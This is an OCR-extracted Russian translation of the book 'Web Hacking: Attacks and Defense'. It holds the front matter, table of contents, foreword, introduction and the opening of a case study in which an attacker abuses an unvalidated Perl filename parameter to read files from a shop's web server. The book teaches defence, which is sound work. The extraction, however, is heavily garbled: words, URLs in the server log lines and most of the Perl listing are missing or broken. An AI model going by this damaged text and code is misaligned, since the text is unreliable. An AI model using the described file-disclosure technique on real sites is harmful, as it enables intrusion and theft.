Text
                    АТАКИ и ЗАЩИТА
•


ATTACKS and DEFENCE STUART McCLURE SHAH A TT Boston • San Francisco • New York • Toronto • Montreal London • Munich • Paris • Madrid Capetown • Sydney • Tokyo • Singapore • Mexico City
АТАКИ и ЗАЩИТА СТЮАРТ МАК КЛАР ШАХ ШРИРАЙ ШАХ Москва • Санкт Петербург • Киев 2003
ББК 32.973.26 018.2.75 М15 Издательский дом "Вильяме" Зав. редакцией Я. Тригуб Перевод с английского Е. Н. Василенко, Т. В. иА.Ю. Под редакцией А. Ю. Шелестова По общим вопросам в Издательский дом по адресу: info@williamspublishing.com, http://www.williamspublishing.com Мак Клар, Стюарт, Шах, Шах, Шрирай. М15 Хакинг в Web: атаки и зашита : Пер. с англ. --- М. : Издательский дом "Вильяме", 2003. --- 384 с. : ил. --- тит. англ. ISBN 5 8459 0439 0 (рус.) Эта книга является полным справочником, в котором содержится самая по следняя информация об атаках в Web и защите от них. Эксперты в области обес печения безопасности Стюарт (ведущий автор серии книг Секреты ха а также Саумил Шах и Шрирай Шах предлагают описание большого ко личества атак и способов защиты. К рассматриваемым в книге технологиям относятся языки для создания Web приложений, протоколы, серверы баз данных и Web серверы, а также подсистемы обработки платежей и выбора товаров. Кро ме того, здесь обсуждаются серьезные связанные с адресами Авто ры книги показывают, как провести линию между отдельными точками, т.е. как соединить отдельные этапы атак вместе, реализовав таким образом оптимальную против них. Удачно изложенный материал и последовательное описание проверенных методов анализа помогут защититься от потенциальной угрозы на рушения безопасности и атак взломщиков. Как начинающие, так и опытные читатели смогут лучше понять природу атак в Web и получат новые знания в области защиты от подобных атак. ББК 32.973.26 018.2.75 Все названия программных продуктов являются зарегистрированными торговыми марками соответствующих фирм. Никакая часть настоящего издания ни в каких целях не может быть воспроизведена в какой бы то ни было форме и какими бы то ни было средствами, будь то электронные или механиче ские, включая фотокопирование и запись на магнитный носитель, если на это нет письменного разрешения издательства Addison Wesley Publishing Company, Inc. Authorized translation from the English language edition published by Addison Wesley Publishing Company, Inc., Copyright © 2003 by Pearson Education, Inc. All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording or by any information storage re trieval system, without permission from the Publisher. Russian language edition published by Williams Publishing House according to the Agreement with Enterprises International, Copyright © 2003 ISBN 5 8459 0439 0 (рус.) © Издательский дом "Вильяме", 2003 ISBN 0 201 76176 9 (англ.) © Pearson Education, Inc., 2003
Оглавление Введение 16 Часть I. Будни электронной коммерции 21 Глава 1. Языки программирования для Web: Вавилон XXI столетия 28 Глава 2. Web серверы и серверы баз данных 58 Глава 3. Выбор товаров и обработка платежей 86 Глава 4. Хакинг протоколов HTTP и 106 Глава 5. URL: оружие хакера в Web Часть II. Секреты URL 137 Глава 6. За кулисами Web сервера 140 Глава 7. Читая между строк 162 Глава 8. Анализ связей Web узла 178 Часть III. Как они это делают 197 Глава 9. 200 Глава 10. Кражи в электронных магазинах 222 Глава Доступ к базам данных 246 Глава 12. Java: удаленное выполнение команд 255 Глава 13. Перевоплощение 272 Глава 14. Переполнение буфера "на лету" 289 Часть IV. Приемы фу в Web 301 Глава 15. Хакинг в Web: средства автоматизации 303 Глава 16. Вирусы черви . 325 Глава 17. Обход систем IDS 333 Приложение А. Перечень портов, прослушиваемых серверами баз данных и Web серверами 349 Приложение Б. Методы и определения полей протоколов и 351 Приложение В. Удаленное выполнение команд 355 Приложение Г. Раскрытие исходного кода, файлов и каталогов 357 Приложение Д. Ресурсы и ссылки 363 Приложение Е. Средства оценки Web приложений 365 Предметный указатель 367
Содержание Предисловие 14 Введение 16 "Мы в безопасности: у нас есть брандмауэр" 17 Человек склонен ошибаться 17 Надписи на стене 17 Структура книги Части 18 Главы 19 Несколько заключительных замечаний 20 Благодарности 20 Соавтор 20 Часть I. Будни электронной коммерции 21 Случай из жизни: Web узел компании Acme Art, Inc. взломан! 22 Глава Языки программирования для Web: Вавилон XXI столетия 28 Введение 29 Языки Web 29 HTML 30 Динамический HTML (DHTML) 32 XML 32 XHTML 33 Perl 33 PHP 36 ColdFusion 38 Страницы ASP 40 CGI 44 Java 48 Использование Java на сервере 53 Резюме 57 Глава 2. Web серверы и серверы баз данных 58 Введение 59 Web серверы 59 Сервер Apache 59 Internet Information Server компании Microsoft 63 Серверы баз данных 70 Microsoft SQL Server 72 Oracle 78 Резюме 85 Глава 3. Выбор товаров и обработка платежей 86 Введение 87 Эволюция торгового зала 88 Электронная коммерция 90 Подсистемы выбора товаров б Содержание
Назначение и время жизни электронной торговой тележки Сбор, анализ и сравнение выбранных товаров 92 Отслеживание общей стоимости 92 Изменение решения 92 Оформление покупки 92 Реализация электронной тележки 93 Каталог товаров 94 Управление сеансами 94 Интерфейс с базой данных 95 Взаимодействие с платежной подсистемой 95 Примеры неудачно реализованных подсистем выбора товаров 95 Электронная тележка Carello 95 Электронная тележка DCShop 95 Электронная тележка от Hassan Consulting 96 Некоторые другие электронные тележки 96 Обработка платежей 96 Окончательное оформление заказа 96 Форма оплаты 97 Проверка подлинности и защита от мошенничества 97 Выполнение заказа и оформление торгового чека 97 Общие сведения о подсистеме обработки платежей 97 Страница подтверждения заказа 99 Интерфейс системы обработки платежей финансового учреждения 99 Интерфейс базы данных транзакций 100 Пример взаимодействия с системой обработки платежей финансового учреждения 100 Проблемы реализации подсистемы обработки платежей 103 Интеграция 103 Временная информация 103 Протокол SSL 103 Хранение профилей пользователей 104 PayPal --- электронные платежи, доступные каждому 104 Резюме 105 Глава 4. протоколов HTTP и 106 Введение 107 Протоколы Web HTTP 107 HTTPS (HTTP поверх SSL) 114 Резюме Глава 5. URL: оружие хакера в Web Введение URL 119 и передача параметров Кодирование URL 122 Метасимволы 123 Использование в строке URL специальных символов 124 Стандарт кодирования Unicode 125 Неправильное использование кода URL 126 Изъян Unicode 126 Изъян двойного или избыточного декодирования Формы HTML 129 Содержание 7
Анатомия формы HTML 130 Элементы ввода данных 131 Передача параметров с помощью методов GET и POST 132 Резюме 136 Часть II. Секреты URL 137 Случай из жизни: исследование подступов к корпоративным сокровищам Глава 6. За кулисами Web сервера 140 Введение 141 Компоненты Web приложений 141 Внешний Web сервер 142 Среда выполнения Web приложения 143 Сервер баз данных Взаимодействие компонентов 144 Собственная среда обработки приложений Надстройки и API функции Web сервера 144 Отображение URL адресов и внутреннее перенаправление 145 Перенаправление к внутреннему серверу приложений 146 Примеры 146 Доступ к базам данных 150 Использование собственных API функций базы данных Примеры 151 Использование стандарта ODBC 151 Использование JDBC 152 Специализированные серверы Web приложений 152 Идентификация компонентов Web приложения с помощью URL адресов Основы идентификации 153 Примеры 154 Дополнительные примеры 156 Дополнительные методы идентификации 158 Примеры 158 Идентификация серверов баз данных 160 Контрмеры 160 Правило 1. Минимизация информации в HTTP заголовке 160 Правило 2. Предотвращение отправки броузеру сообщений об ошибке 161 Резюме 161 Глава 7. Читая между строк 162 Введение 163 Утечка информации через код HTML 163 Что скрывают броузеры Netscape Navigator --- команда Source 164 Internet Explorer команда 165 Где искать информацию Комментарии HTML 166 История внесения изменений 167 Подробности о разработчике или авторе Связь с другими частями Web приложений Заметки 168 Комментарии серверов Web приложений 168 Старый закомментированный код Внутренние и внешние гиперссылки 8 Содержание
Адреса электронной почты и имена пользователей 170 Спэм 170 Ключевые слова и дескрипторы <meta> 170 Скрытые поля 171 Клиентские сценарии 172 Приемы автоматического просеивания кода 172 Sam Spade, Black Widow и Pro 176 Резюме 177 Глава 8. Анализ связей Web узла 178 Введение . 179 Анализ связей и язык HTML Методология анализа связей 180 Этап исследование Web узла Исследование узла вручную Несколько слов о заголовке HTTP ответа Некоторые популярные средства, предназначенные для анализа связей 182 Заключительные замечания 185 Этап 2: выделение в структуре приложения отдельных логических групп Заключительные замечания 190 Этап 3: анализ каждого 190 Анализ расширений 190 2. Анализ адресов URL 191 3. Анализ сеансов 4. Поиск форм 192 5. Идентификация и объектов 192 6. Поиск клиентских сценариев 193 7. Анализ комментариев и адресов электронной почты 193 Заключительные замечания 193 Этап 4: инвентаризация Web ресурсов 194 Резюме 195 Часть III. Как они это делают 197 Случай из жизни: как Борис помог Анне достать необходимые материалы 198 Глава 9. 200 Введение 201 Взлом Web узла компании Defacing Acme Travel, Inc. 201 Составление схемы сети 203 Тонкости использования proxy серверов 203 Подбор паролей, используемых в процессе HTTP аутентификации 207 Просмотр каталогов 209 Загрузка модифицированных страниц Какие ошибки были допущены 215 Программы подбора паролей HTTP 216 Brutus 216 4.0 216 Контрмеры против взлома Web узла компании Acme Travel, Inc. 219 Отключение реверсивного перенаправления 219 Использование более надежных паролей 219 Отключение режима просмотра каталогов 220 Резюме 220 Содержание
Глава 10. Кражи в электронных магазинах 222 Введение 223 Структура электронного магазина 223 Торговый зал 225 Электронная торговая тележка 225 Пункт оплаты 225 База данных 225 Объединение всех элементов 225 Эволюция электронных магазинов 225 Кражи в электронном магазине компании Acme Fashions, Inc. 227 Установка электронного магазина компании Acme Fashions 227 Поиск проблемы 228 Обход проверки данных в клиентской части приложений 235 Усовершенствование узла www.acme fashions.com 238 В обновленной системе новая проблема 239 Заключительные замечания 244 Резюме 245 Глава Доступ к базам данных 246 Введение 247 Взлом Web узла компании по продаже подержанных автомобилей 249 Проверка входных данных 249 Контрмеры 253 Резюме 254 Глава 12. Java: удаленное выполнение команд 255 Введение 256 Технологии, основанные на Java 257 Архитектура серверов приложений Java 257 Атака на Java Web Server 258 Обнаружение изъянов на серверах приложений Java 259 Пример: компания по продаже акций 260 Вызов 262 Контрмеры 269 Зашита сервера Java Web Server 269 Другие основные контрмеры 270 Резюме 271 Глава 13. Перевоплощение 272 Введение 273 Перехват сеансов: похищение чужого облика и сорванное свидание 273 7:00, 5 марта, квартира Алисы 273 8:30, офис Алисы 275 10:00, рабочее место Боба 275 рабочее место Боба 277 12:30, рабочее место Алисы 280 21:30, в итальянском ресторане 280 Перехват сеансов 280 Заключительные замечания об атаке, направленной на перехват сеанса Диаграммы состояний приложения 282 Протокол HTTP и отслеживание сеансов 283 Приложения с сохранением состояния и без сохранения состояния 284 Данные cookie и скрытые поля 286 10 Содержание
Cookie 286 Скрытые поля 287 Реализация механизмов отслеживания сеансов и сохранения состояний 287 Идентификаторы сеансов должны быть уникальными 287 Идентификаторы сеансов должны быть сложными 287 Идентификаторы сеансов должны быть независимыми 288 Идентификаторы сеансов должны быть связаны с клиентскими соединениями 288 Резюме 288 Глава 14. Переполнение буфера "на лету" 289 Введение 290 Пример 290 Переполнение буфера 291 Простейшее переполнение буфера 291 Пример переполнения буфера 295 Контрмеры 300 Резюме 300 Часть IV. Приемы фу в Web 301 Случай из жизни 302 Глава 15. в Web: средства автоматизации 303 Введение 304 Netcat 304 Whisker 306 Подбор паролей "в лоб" 307 Brutus 309 Achilles 312 Cookie Pal 314 Pro 322 Рекомендации по обеспечению безопасности . 323 Резюме 324 Глава 16. Вирусы черви 325 Введение 326 Червь Code Red 326 26 января 2000 года 326 18 июня 2001 года: первое нападение 326 июля 2001 года 19 июля 2001 года 4 августа 2001 года 328 Червь 330 18 сентября 2001 года 330 Еще несколько, замечаний 331 Реакция и контрмеры 331 Резюме 332 Глава 17. Обход систем IDS 333 Введение 334 Общие сведения о системах IDS 334 Сетевые IDS 334 IDS 335 Содержание
Точность IDS 335 Обход систем IDS 336 "Безопасный" --- атаки с использованием протокола SSL 336 Пример 337 атак посредством протокола SSL 338 Выявление вторжений через SSL 339 Анализ трафика SSL 340 Полиморфные адреса URL 342 кодирование 343 Избыточное шифрование или недопустимое кодирование символов в формате Unicode 343 Добавление фиктивных путей 344 Вставка строк /./ 344 Использование в пути нестандартных символов разделителей 345 Использование нескольких символов / 345 Одновременное использование различных подходов 345 Генерация ложных сообщений 346 Потенциальные контрмеры 347 Декодирование SSL 347 Декодирование адресов URL 348 Резюме 348 Приложение А. Перечень портов, прослушиваемых серверами баз данных и Web серверами 349 Приложение Б. Методы и определения полей протоколов и 351 Приложение В. Удаленное выполнение 355 Приложение Г. Раскрытие исходного кода, файлов и каталогов Приложение Д. Ресурсы и ссылки 363 Приложение Е. Средства оценки Web приложений 365 Предметный указатель 367 12 Содержание
Моим близким: ваша беспрецедентная поддержка делает все возможным. Стюарт Мак Клар (Stuart Эта книга посвящается дорогому (Rajalbhai) за его мудрое руководство и любовь. Шах Shah) Моей семье, моим друзьям и моей стране. Шах Shah) •
Предисловие В ваших руках книга, которая окажется важным источником информации при обеспечении защиты наиболее критичных Web узлов и систем электронной коммерции, представляющих собой самую важную часть современного электронного бизнеса. Книга в Web: атаки и защита основывается на практическом опыте экспертов по вопросам обеспечения безопасности, которые помогут специалистам по информационным технологиям и обеспечению безопасности успешно бороться против нападений злоумышленников, рассматривающих Internet как наиболее быстрый и эффективный способ воровства и достижения злонамеренных целей. Если вы прочитаете эту книгу и примените полученные знания на практике, то бесчестные люди будут крайне разочарованы, поскольку их наиболее хитрые трюки окажутся бесполезными на вашем узле Взломщикам потребуется намного больше изобретательности и усилий, чтобы прорваться сквозь линию обороны ваших приложений. Страницы этой книги заполнены ценными советами самых добропорядочных хакеров, проверенными консультантами компании Foundstone. Широко открытые глаза авторов просто слепнут в мире взломов Web узлов и приложений. В книге обсуждаются некоторые наиболее разрушительные средства, используемые и взломщиками. В описанных случаях из жизни и приведенных примерах представлены детали атак. Благодаря этому гораздо проще разобраться с разнообразными методами, которые используются "по ту сторону баррикад". Контрмеры, которые необходимо предпринять для обеспечения защиты, также приводятся с "клинической" точностью. Для предотвращения воровства нужно узнать, где, когда и почему будет нанесен удар взломщиков, а также где располагаются уязвимые места. Ответы на все эти вопросы вы сможете найти благодаря подробным рекомендациям, приведенным в книге. Книга Хакинг в Web содержит описание действий злоумышленников и ценные сведения о том, как, когда, где и какие элементы Web узла могут подвергнуться атаке. В ней сбалансированы точное и полное техническое описание с пояснениями, которые помогут уловить важные концепции атак и соответствующих контрмер даже недостаточно подготовленным читателям. Зачастую книга производит просто шокирующее впечатление. Из нее вы узнаете, что даже хорошо подготовленные разработчики и операторы Web узлов часто совершают фатальные ошибки. Прочитав эту книгу, вы узнаете разнообразные способы, с использованием которых можно организовать атаку на Web узел или манипулировать его содержимым. Первый и наиболее важный шаг --- это принятие самого факта реальности существующей угрозы, поскольку хорошо известно, что предоставляет прекрасные возможности для взлома. Настоящая книга должна помочь в осмыслении и защите приложений электронной коммерции от этих глобальных рисков. Главы книги насыщены многочисленными примерами, которые свидетельствуют о том, что Internet --- чрезвычайно опасное место ведения коммерческой деятельности. Когда виртуальные магазины попадают в поле зрения реальных преступников даже незначительные ошибки (в используемых технологиях или взаимосвязях между отдельными компонентами узла) могут привести к появлению очень опасных изъянов. Последние исследования в рамках проекта Honeynet 14 Предисловие
доказывают, что недостаточно защищенный узел будет атакован сразу же после появления в Что еще хуже, коммерческие Web узлы с опасными изъянами могут попасть в руки преступников, о которых, вполне возможно, ничего так и не удастся узнать? Даже в случае их обнаружения для правоохранительных органов они окажутся недосягаемыми. Нападению могут быть подвержены и некоммерческие Web узлы, которые при выполнении незаконных транзакций могут использоваться в качестве "перевалочного" пункта. Мы живем в эпоху, напоминающую времена Дикого запада, когда зачастую приходится просто выживать. Если традиционные законы не позволяют предотвращать атаки, менеджеры по информационным технологиям вместе с разработчиками и операторами Web узлов не могут полагаться на удачу при защите своих информационных ресурсов. Знания --- это истинная сила. Поэтому вооружите себя и свою компанию действенными рекомендациями лучших элитных хакеров. В этой книге подробно описан план виртуального сражения, знание которого позволяет выявить и ликвидировать опасность, связанную с захватом, подменой неавторизованным доступом, изменением или разрушением Web узла. Воспользуйтесь советами этих экспертов по вопросам безопасности, а затем спокойно отдыхайте с мыслью о том, что вы и ваша компания выполнила свою часть работы по снижению риска виртуального преступления. Вильям С. (William С. руководитель отдела информационной безопасности компании Motorola Июль 2002 Предисловие 15
Правда одна, однако ошибки возникают достаточно часто. Люди отслеживают их и делят на мелкие кусочки, надеясь обратить их в крупицы истины. Однако в конечном счете всегда останется ошибка, просчет. Рене Дюма французский поэт, критик
"Мы в безопасности: у нас есть брандмауэр" Если бы мы получали от клиентов по монете каждый раз, когда произносили эту фразу, то, возможно, нам не пришлось бы писать эту книгу. Мы спокойно лежали бы на чистом белом песке какого нибудь острова вблизи испанского побережья Если вы скептически относитесь ко всевозможным опасностям и полагаетесь на свой брандмауэр, то знайте, что более 65% известных атак были выполнены через TCP порт 80, обычный порт Web Реальна ли угроза напа дения из Internet? Вне всякого сомнения, слишком реальна. Человек склонен ошибаться При подготовке сотен обзоров по вопросам безопасности за последние десять лет нам стало понятно, что нужно запомнить лишь один факт (если ранее вы еще этого не сделали): ничто не может быть по настоящему безопасным. В основе каждого на рушения безопасности лежит ошибка. Другими словами, человек склонен ошибаться. Никакие брандмауэры, системы выявления вторжений (Intrusion Detection System --- IDS) или антивирусные программы не смогут обеспечить необходимый уровень защи ты. Возможно, подобное замечание к этой книге выглядит удивительным. Однако не стоит удивляться. Эту суровую реальность нужно принять, прежде чем приступать к изучению материала, предлагаемого в книге. Итак, что же необходимо делать? Сложить руки и игнорировать Internet, модем и компьютер? Конечно, можно так поступить, однако в этом случае вы останетесь на едине со своими проблемами. Преимущества Internet и всех периферийных устройств просто неоспоримы. Они позволяют повысить качество взаимодействия, совместного использования информации, а также обеспечить связь с людьми всех рас, мировоз зрений, любого цвета кожи, пола и любого интеллектуального уровня без каких бы то ни было ограничений. И все эти преимущества доступны обычному пользователю до машнего компьютера. Бизнесмены используют Internet двадцать четыре часа в сутки и семь дней в неделю, зарабатывая деньги и перемещая их по всему миру. Любого, кто спорит с Internet, можно считать просто несмышленым младенцем. Надписи на стене Более трех лет назад один из авторов этой книги написал пророческую статью, которая оказалась предвестником наступления нового времени. Она была напечатана 9 августа 1999 года и называлась Bane of e commerce: secure: We allow only Web traffic through our firewall (http://www.infoworld.com/articles/op/xml/99/08/09/990809opsecwatch.xml). В ста тье говорилось о просчетах подсистем безопасности того времени. Однако никто не хотел в это верить, и не желал об этом говорить. По видимому, все были слишком уверены в разрекламированных технологиях, как брандмауэры, системы выяв ления вторжений (IDS) и виртуальные частные сети Эти технологии считались "внутренними", которые не имели никакого отношения к "магистральным" техно логиям, таким, как инфраструктура открытого ключа (Public Key Infrastructure --- среда распределенных (Distributed Computing Environment --- DCE) и т.д. Так почему же в настоящее время к Web и области обеспечения безопасности про является такой интерес? Потому что в современном мире с многочисленными связя ми все чаще становится известно о фактах Люди начинают понимать, сколь серьезно единственный изъян Web приложения может повлиять на степень Введение 17
информационных систем различных компаний. Примерами таких изъянов могут служить уязвимые места, которые в первую очередь подвергаются разрушитель ной работе вирусов червей Code Red и Nimda. Структура книги Структура этой книги позволяет наилучшим образом усвоить предлагаемый мате риал, продвигаясь от начальных сведений к основам, а затем к расширенным приемам и концепциям. Для достижения этой цели книга разделена на четыре части, семна дцать глав и приложения. Части . • Часть I, электронной коммерции". • Часть II, "Секреты • Часть III, "Как они это делают". • Часть IV, "Приемы фу в Web". Каждая часть последовательно усложняется как по своему содержанию, так и по подачи материала, начиная с короткого обзора языков программирования для Web (глава 1) и заканчивая реализацией переполнения буфера (глава 14). Не пытай тесь ускорить процесс обучения. Если вы что то упустили, то можете либо вернуться к этому месту, либо освоить это позже. Части I и II дают начальное, а затем и более расширенное введение в мир World Wide Web. В части I, "Будни электронной коммерции", описываются основные прин ципы работы Web: используемые языки, приложения, базы данных, протоколы и син таксис. В части II, "Секреты подробно рассматривается структура адресов URL, а также какие их части особенно важны для взломщиков и как полученный исходный код может облегчить задачу Кроме того, из этой части вы узнаете, как можно получить образ всего Web узла и почему такая возможность чрезвычайно важна для В части III, "Как они это делают", вы вплотную прикоснетесь к искусству в Web а также узнаете, какие контрмеры позволяют защититься от этих атак. В гла вах описывается также и то, как с помощью простых действий в процессе разра ботки можно устранить большую часть изъянов. Безусловно, эту часть можно назвать наиболее творческой, поскольку в ней содержится ценнейшая информация о том, как хакеры "делают" свою работу. В каждой главе содержится подробный анализ как са мой атаки, так и контрмер, которые позволяют ее предотвратить. , В части IV, "Приемы кунг фу в Web", обсуждаются некоторые дополнительные концепции и методы хакинга в Web. Здесь вы узнаете о нескольких программных средствах, знакомство с которыми просто нельзя пропустить. И наконец, в конце книги можно найти приложения, в которых содержится пере чень стандартных портов, используемых в Internet, фрагменты исходного кода, с ис пользованием которого можно удаленно выполнять команды, описание приемов рас крытия исходного кода, а также много другой полезной информации. 18 Введение
Главы В части I, "Будни электронной коммерции", содержится пять глав. • В главе "Языки программирования для Web: Вавилон XXI столетия", обсужда ются все основные языки для Web, используемые в Internet в настоящее время. • В главе 2, "Web серверы и серверы баз данных", рассматриваются технологии, являющиеся основой Web, а также связанные с ними изъяны. • Глава 3, "Выбор товаров и обработка платежей", знакомит с технологиями, со ставляющими фундамент интерактивных подсистем выбора товаров ("торговых тележек") и Web узлов электронной коммерции. • Вглаве4, протоколов HTTP и обсуждаются два основных управляющих всем трафиком электронной коммерции и Web. • Вглаве5, оружие хакера в Web", речь идет о том, как с помощью анализа адреса URL можно получить о Web узле наибольшее количество информации. В части II, "Секреты представлено три главы. В главе 6, "За кулисами Web сервера", описываются основные компоненты Web приложения, а также взаимосвязи между ними. • В главе 7, "Читая между строк", обсуждается искусство раскрытия исходного кода с использованием Web броузера или других средств. • В главе 8, "Анализ связей Web узла", рассматривается, как провести инвента ризацию Web узла и проанализировать приложение как единое целое, а на ос нове полученной информации определить наилучший метод нападения. Часть III, "Как они это делают", состоит из шести глав. • Вглаве9, рассматривается, как взломщики могут подменить содержимое Web узла и какие приемы и хитрости для этого можно использовать. • Глава 10, "Кражи в электронных магазинах", содержит информацию о том, как злоумышленники могут осуществить кражу в электронном магазине, т.е. "обмануть" Web приложение и оплатить товар по более низкой цене. • В главе И, "Доступ данных", описываются способы проникновения в Web приложения через базу данных. • Из главы 12, "Java: удаленное выполнение команд", станет понятно, как для проникновения в систему можно воспользоваться средствами Java. • В главе 13, "Перевоплощение", обсуждается, как взломщик может выдать себя за другого пользователя. • В главе 14, "Переполнение буфера "на лету", рассматривается, как определить уязвимость приложения к переполнению буфера, а затем его реализовать. В части IV, "Приемы фу в Web", содержится три завершающих главы. • В главе 15, "Хакинг в Web: средства автоматизации", обсуждаются различные средства и приемы, которые могут использоваться взломщиками автомати зации выполнения своих действий. • В главе 16, "Вирусы черви", рассматриваются смертоносные вирусы черви, а также способы их создания, распространения и удаления. • В главе 17, "Обход систем IDS", содержится информация о том, как взломщика можно обнаружить с использованием системы выявления вторжений (IDS). Введение 19
Несколько заключительных замечаний Эта книга представляет собой как введение в так и подробный анализ ми ра Web хакера. В то же время авторам очень хотелось, чтобы ее было просто читать, т.е. чтобы вы не использовали ее в качестве нового средства от бессонницы. В идеале книгу нужно прочитать от начала до конца. Даже если вы обладаете базовыми зна ниями в области обеспечения безопасности и Web технологий, у вас не должно воз никнуть никаких проблем. В этом случае можно сразу перейти к главам из частей II, "Секреты и III, "Секреты Изъяны всегда будут существовать в любой среде, однако мы надеемся, что все, кто в настоящее время использует Web и Internet, опомнятся, выпьют чашечку аро матного кофе, а затем исправят допущенные ошибки. В противном случае всеми об наруженными изъянами сразу же воспользуется хакер. Благодарности Над созданием этой книги трудилось множество людей, каждый из которых внес свой неоценимый вклад. Но прежде всего хотелось бы выразить благодарность со трудникам издательства Их руководство и настойчивость на протяже нии всей работы над этой книгой достойны самой высокой похвалы. Большое уваже ние и признательность хочется выразить также преданным своему делу профессиона лам из компании Foundstone. Объединенные в этой компании специалисты продолжают выполнять свою работу, которая вызывает неподдельное восхищение. Мы приветствуем работу исследователей в области безопасности в промышленно сти, с которыми нам посчастливилось познакомиться (каждый знает, что он представ ляет собой на самом деле). Мы благодарны также нашим друзьям из индийской ком пании которые участвовали в исследованиях и обсуждении многих вопро сов, нашедших отражение в этой книге. Наконец, отдельное спасибо хотелось бы сказать Барнаби Джеку Jack) за его вклад в эту книгу. Соавтор Барнаби Джек (Barnaby Jack) работает исследователем и инженером разработчиком в компании Foundstone, где он специализируется на исследовании изъянов и разра ботке утилит взлома. До этого он работал инженером в группе исследователей COVERT компании Network Associates. За многие годы он хорошо изучил внутреннюю архитектуру операционных систем, уделяя основное внимание семейству Windows, в частности системе Windows NT. Он занимается глубокими исследованиями в области методов взлома Windows. При этом ссылки на его статьи можно найти во многих серьезных изданиях. 20 Введение
ЧАСТЬ I
Случай из жизни: Web узел компании Acme Art, Inc. взломан! октября 2001 года оказалось плохим днем для нового Web узла компании Acme Art w w w .ac m e art.c om . Взломщик похитил номера кредитных карточек из базы данных интерактивного магазина компании и разместил их в группе новостей Usenet. Элек тронные средства передачи информации работали быстро и безжалостно, и в течение нескольких часов компания потеряла сотни тысяч долларов заказов, приобрела плохую репутацию, но самое главное в том, что теперь ей придется снова накапливать капитал. Руководитель информационный службы компании озадачен. Где была допу ошибка в процессе очередной проверки безопасности системы? Казалось, все в порядке. Брандмауэры блокировали весь трафик, за исключением портов 80 и 443. Подробно расследуя инцидент, группа экспертов обнаружила в системном журнале Web сервера следующие данные: Group (a) 10.0.1.21 [31/0ct/2001:03:02:47 "GET / HTTP/1.0" 200 3008 10.0.1.21 +0530] "GET HTTP/1.0" 200 3452 10.0.1.21 [31/0ct/2001:03:02:47 +0530] "GET HTTP/1.0" 200 8468 10.0.1.21 [31/0ct/2001;03:02:47 +0530] "GET HTTP/1.0" 200 6912 10.0.1.21 [31/0ct/2001:03:02:47 +0530] "GET HTTP/1.0" 200 7891 Group (b) 10.0.1.21 [31/0ct/2001:03:03:13 +0530] "GET HTTP/1.0" 200 610 10.0.1.21 [31/0ct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640 10.0.1.21 [31/0ct/2001:03:03:18 +0530] "GET HTTP/1.0" 200 652 10.0.1.21 [31/0ct/2001:03:03:18 +0530] "GET /tahoel.jpg HTTP/1.0" 200 36580 Group (c) 10.0.1.21 [31/0ct/2001:03:03:41 +0530] "GET /cgi bin/ HTTP/1.0" 403 272 Group 10.0.1.21 [31/0ct/2001:03:04:10 +0530] "GET HTTP/1.0" 200 3008 10.0.1.21 [31/0ct/2001:03:05:31 +0530] "GET HTTP/1.0" 200 358 . Group 10.0.1.21 [31/0ct/2001:03:06:21 +0530] "GET HTTP/1.0" 200 723 Group (f) 10.0.1.21 [31/0ct/2001:03:07:01 +0530] "GET HTTP/1.0" 200 1228 10.0.1.21 [31/0ct/2001:03:17:29 +0530] "GET HTTP/1.0" 200 Рассмотрим, как эксперты расследовали инцидент. Узел работал под управлением сервера Apache в системе Linux. Для реализации и запуска интерактивного магазина программисты компании использовали на языке Записи из системного журнала свидетельствуют о том, что атака нача лась с узла В 3: 0 2 A . M . взломщик приступил к просмотру содержимого узла. Пять первых записей файла журнала (Group показывают, что он просматривал главную страницу и несколько изображений, содержащихся на ней. 10.0.1.21 [31/0ct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3008 10.0.1.21 [31/0ct/2001:03:02:47 +0530] "GET / HTTP/1.0" 200 3452 10.0.1.21 [31/0ct/2001:03:02:47 +0530] "GET HTTP/1.0" 200 8468 22 Часть I
10.0.1.21 [31/0ct/2001:03:02:47 +0530] "GET /th HTTP/1.0" 200 6912 10.0.1.21 [31/0ct/2001:03:02:47 +0530] "GET HTTP/1.0" 200 7891 На рис. 1 показано, что можно было бы увидеть на экране, проследив за переме щениями взломщика. Следующие четыре строки (Group свидетельствуют о том, что взломщик щелк нул на паре ссылок, содержащихся на главной странице. 10.0.1.21 [31/0ct/2001:03:03:13 +0530] "GET HTTP/1.0" 200 610 10.0.1.21 [31/0ct/2001:03:03:13 +0530] "GET /falls.jpg HTTP/1.0" 200 52640 10.0.1.21 [31/0ct/2001:03:03:18 +0530] "GET HTTP/1.0" 200 652 10.0.1.21 [31/0ct/2001:03:03:18 +0530] "GET HTTP/1.0" 200 36580 На рис. 2 показано, что должен был бы увидеть хакер при щелчке на гиперссылке Golden in oil главной страницы Web узла компании Acme Art. В данный момент трудно определить намерения взломщика, поскольку пока он не сделал ничего необычного. Возможно, он просто искал что нибудь интересное. Сле дующая запись свидетельствует о том, что взломщик попытался получить доступ к ка талогу /cgi bin/ и посмотреть, что в нем находится (Group to fee 1 paintings to Click on to we your in to in $750 1 Главная страница Web узла компании Acme Art Сервер отклонил этот запрос, поскольку в журнале зарегистрирована ошибка 403 протокола HTTP. 10.0.1.21 [31/0ct/2001:03:03:41 +530] "GET /cgi bin/ HTTP/1.0" 403 272 Взломщик продолжает перемещаться по Web узлу. Кажется, он понял свою ошибку. Сначала он быстро анализирует URL адрес а затем формирует запрос следуя шаб лону передачи параметров (Group На рис. 3 показано, что он увидел в окне своего броузера. Будни электронной коммерции
2. щелчка на ссылке В броузере отображен исходный код сценария Взломщик видит, что сценарий в качестве параметра получает имя файла и отображает его содер жимое. Поэтому в качестве параметра он передает имя и добивается ото бражения кода этого файла. Более пристальное знакомство с кодом Perl, содержащимся в файле позволяет обнаружить другие изъяны. I сценарий Perl для отображения страницы, заданной параметром require = eq{ = } 03: 04: 05: 07: 08: 09: 10: 11: 12: 13: print 14: 15: 16: open(FILE, $filename); 17: { 18: print $ ; 19:} 20: 24 Часть I
to к by the ftS/atSPjiisriipa); ( ! Получен исходный код файла cgi Одним из недостатков является неудовлетворительная проверка параметров, которые передаются сценарию Переданное в качестве параметра имя файла из адреса URL сохраняется в переменной $fi l e n a m e в строке 08, а затем присоединяется к абсо лютному пути в строке 15. Сам файл открывается в строке 16. ftp.x Взломщик получил файл с сервера ком пании Acme Art Будни электронной коммерции 5
